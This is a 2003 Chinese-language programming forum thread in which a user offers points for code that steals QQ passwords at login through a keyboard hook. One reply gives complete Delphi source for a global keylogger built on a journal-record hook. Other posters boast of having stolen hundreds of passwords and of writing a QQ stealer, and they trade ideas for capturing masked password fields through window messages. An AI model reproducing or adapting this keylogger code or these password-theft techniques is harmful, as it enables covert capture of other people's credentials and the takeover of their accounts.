求一个偷取qq密码的代码 300分。(300分)

人在昆明 · 2003-01-15

要求在登陆的时候截获密码，使用hook 技术， 98 下通过就行啦！mousehook 我已经搞定啦， keyhook的搞不定，拿来研究一下，我不干坏事！ txyqbf_gxx@163.com  ，编译测试通过，即刻开分！

abencat · 2003-01-15

unit Unit1; interface uses   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,   StdCtrls, ExtCtrls; type   TForm1 = class(TForm)     ListBox1: TListBox;     Button1: TButton;     Button2: TButton;     procedure FormCreate(Sender: TObject);     procedure Button1Click(Sender: TObject);     procedure Button2Click(Sender: TObject);   private     function Keyhookresult(lP: integer; wP: integer): pchar;     { Private declarations }   public     { Public declarations }   end; var   Form1: TForm1;   hookkey: string;   hooktimes: word;   hHook: integer; implementation {$R *.DFM} function TForm1.Keyhookresult(lP: integer; wP: integer): pchar; begin   result := '[Print Screen]';   case lp of     10688: result := '`';     561: Result := '1';     818: result := '2';     1075: result := '3';     1332: result := '4';     1589: result := '5';     1846: result := '6';     2103: result := '7';     2360: result := '8';     2617: result := '9';     2864: result := '0';     3261: result := '-';     3515: result := '=';     4177: result := 'Q';     4439: result := 'W';     4677: result := 'E';     4946: result := 'R';     5204: result := 'T';     5465: result := 'Y';     5717: result := 'U';     5961: result := 'I';     6223: result := 'O';     6480: result := 'P';     6875: result := '[';     7133: result := ']';     11228: result := '/';     7745: result := 'A';     8019: result := 'S';     8260: result := 'D';     8518: result := 'F';     8775: result := 'G';     9032: result := 'H';     9290: result := 'J';     9547: result := 'K';     9804: result := 'L';     10170: result := ';';     10462: result := '''';     11354: result := 'Z';     11608: result := 'X';     11843: result := 'C';     12118: result := 'V';     12354: result := 'B';     12622: result := 'N';     12877: result := 'M';     13244: result := ',';     13502: result := '.';     13759: result := '/';     13840: result := '[Right-Shift]';     14624: result := '[Space]';     283: result := '[Esc]';     15216: result := '[F1]';     15473: result := '[F2]';     15730: result := '[F3]';     15987: result := '[F4]';     16244: result := '[F5]';     16501: result := '[F6]';     16758: result := '[F7]';     17015: result := '[F8]';     17272: result := '[F9]';     17529: result := '[F10]';     22394: result := '[F11]';     22651: result := '[F12]';     10768: Result := '[Left-Shift]';     14868: result := '[CapsLock]';     3592: result := '[Backspace]';     3849: result := '[Tab]';     7441:       if wp > 30000 then         result := '[Right-Ctrl]'       else         result := '[Left-Ctrl]';     13679: result := '[Num /]';     17808: result := '[NumLock]';     300: result := '[Print Screen]';     18065: result := '[Scroll Lock]';     17683: result := '[Pause]';     21088: result := '[Num0]';     21358: result := '[Num.]';     20321: result := '[Num1]';     20578: result := '[Num2]';     20835: result := '[Num3]';     19300: result := '[Num4]';     19557: result := '[Num5]';     19814: result := '[Num6]';     18279: result := '[Num7]';     18536: result := '[Num8]';     18793: result := '[Num9]';     19468: result := '[*5*]';     14186: result := '[Num *]';     19053: result := '[Num -]';     20075: result := '[Num +]';     21037: result := '[Insert]';     21294: result := '[Delete]';     18212: result := '[Home]';     20259: result := '[End]';     18721: result := '[PageUp]';     20770: result := '[PageDown]';     18470: result := '[UP]';     20520: result := '[DOWN]';     19237: result := '

';     19751: result := '

';     7181: result := '[Enter]';   end; end; function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall; begin   if (peventmsg(lparam)^.message = WM_KEYDOWN) then     hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH);   if length(hookkey) > 30 then     begin       Form1.ListBox1.Items.Add(hookkey);       hookkey := TimeToStr(now) + '  ';     end; end; procedure TForm1.FormCreate(Sender: TObject); begin   hooktimes := 0;   hHook := 0; end; procedure TForm1.Button1Click(Sender: TObject); begin   inc(hooktimes);   if hooktimes = 1 then     begin       hookkey := TimeToStr(now) + '  ';       hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);       MessageBox(0, '键盘监视启动', '信息', MB_ICONINFORMATION + MB_OK);     end; end; procedure TForm1.Button2Click(Sender: TObject); begin   UnHookWindowsHookEx(hHook);   hHook := 0;   if hooktimes <> 0 then     begin       MessageBox(0, '键盘监视关闭', '信息', MB_ICONINFORMATION + MB_OK);     end;   hooktimes := 0; end; end.

人在昆明 · 2003-01-15

哈哈哈，兄弟，我不是不会用hook ，但是这个东西你写一下就知道。

coolbaby · 2003-01-15

呵呵，我写过的 不过，代码我不一定找得到了

人在昆明 · 2003-01-15

顶一下。

lgxyy · 2003-01-15

我有一个,都已经取了几百个了要不要?

人在昆明 · 2003-01-15

to lgxyy :   能不能拿来看看 txyqbf_gxx@163.com

王公子 · 2003-01-15

gz一下

人在昆明 · 2003-01-15

我也写啦，98、2000 都能偷，不过我只写好了mousehook 的， keyhook 的怎么写都取不到，不知道是不是 qq　作了手脚， 所以求一段来看看。

sunstone · 2003-01-15

试一试pcLog软件,很好用 www.sunhy.com

人在昆明 · 2003-01-15

sunstone： 知不知道我们再说什么话题？

sunstone · 2003-01-15

pcLog软件,就是记录键盘的,你试一试,看看qq下好不好用？如果好用告诉我！ 它本身就是用了键盘钩子!

人在昆明 · 2003-01-15

键盘钩子谁不会写？还用什么注册？？

coolbaby · 2003-01-15

to  人在昆明: 算了，我不找了 给你个小思路吧 为什么非要用键盘钩子呢 其实有其他更好的钩子可以用呢

人在昆明 · 2003-01-20

顶顶！

goodkiller · 2003-01-22

呵呵，看来我也得写一个试试了，不然的话跟不上时代

一少 · 2003-01-23

我试过不少方法，感觉用勾子不大好，大小写无法区分（水平有限），这一点很致命 还是用消息取得密码比较准确，只是2000下我无法得到*号密码，不知大家有什么好主意

人在昆明 · 2003-01-23

2000 下我可以取到，自己写了一个单元，做成dll，然后判断是98 or 2k 动态加在dll ，但是键盘钩子我不能获取密码，不知道 qq 是不是作了手脚。

一少 · 2003-01-23

没作手脚吧，我前不久刚写了个盗QQ的程序，就是用的勾子,正常击键的话都能盗取 不过现在很多密码很怪，有大小写区分的，还有用中文做密码的，对这两种密码就无能为力了 我正考虑着改成消息获取，只是2000下取不到，想请你帮忙 你有QQ吗？我对数据库方面的东西兴趣不大，对api和消息很感兴趣，我感觉老兄你也一样， 只是我水平比你差远了：）

人在昆明 · 2003-02-10

to 一少：      没有 qq，用msn吧，qq公司不让用，我的ｍｃｈｋｚ＠ｈｏｔｍａｉｌ．ｃｏｍ 信箱：　ｔｘｙｑｂｆ＿ｇｘｘ＠１６３．ｃｏｍ

求一个偷取qq密码的代码 300分。(300分)

人在昆明

Unregistered / Unconfirmed

abencat

Unregistered / Unconfirmed

人在昆明

Unregistered / Unconfirmed

coolbaby

Unregistered / Unconfirmed

人在昆明

Unregistered / Unconfirmed

lgxyy

Unregistered / Unconfirmed

人在昆明

Unregistered / Unconfirmed

王公子

Unregistered / Unconfirmed

人在昆明

Unregistered / Unconfirmed

sunstone

Unregistered / Unconfirmed

人在昆明

Unregistered / Unconfirmed

sunstone

Unregistered / Unconfirmed

人在昆明

Unregistered / Unconfirmed

coolbaby

Unregistered / Unconfirmed

人在昆明

Unregistered / Unconfirmed

goodkiller

Unregistered / Unconfirmed

一少

Unregistered / Unconfirmed

人在昆明

Unregistered / Unconfirmed

一少

Unregistered / Unconfirmed

人在昆明

Unregistered / Unconfirmed

Similar threads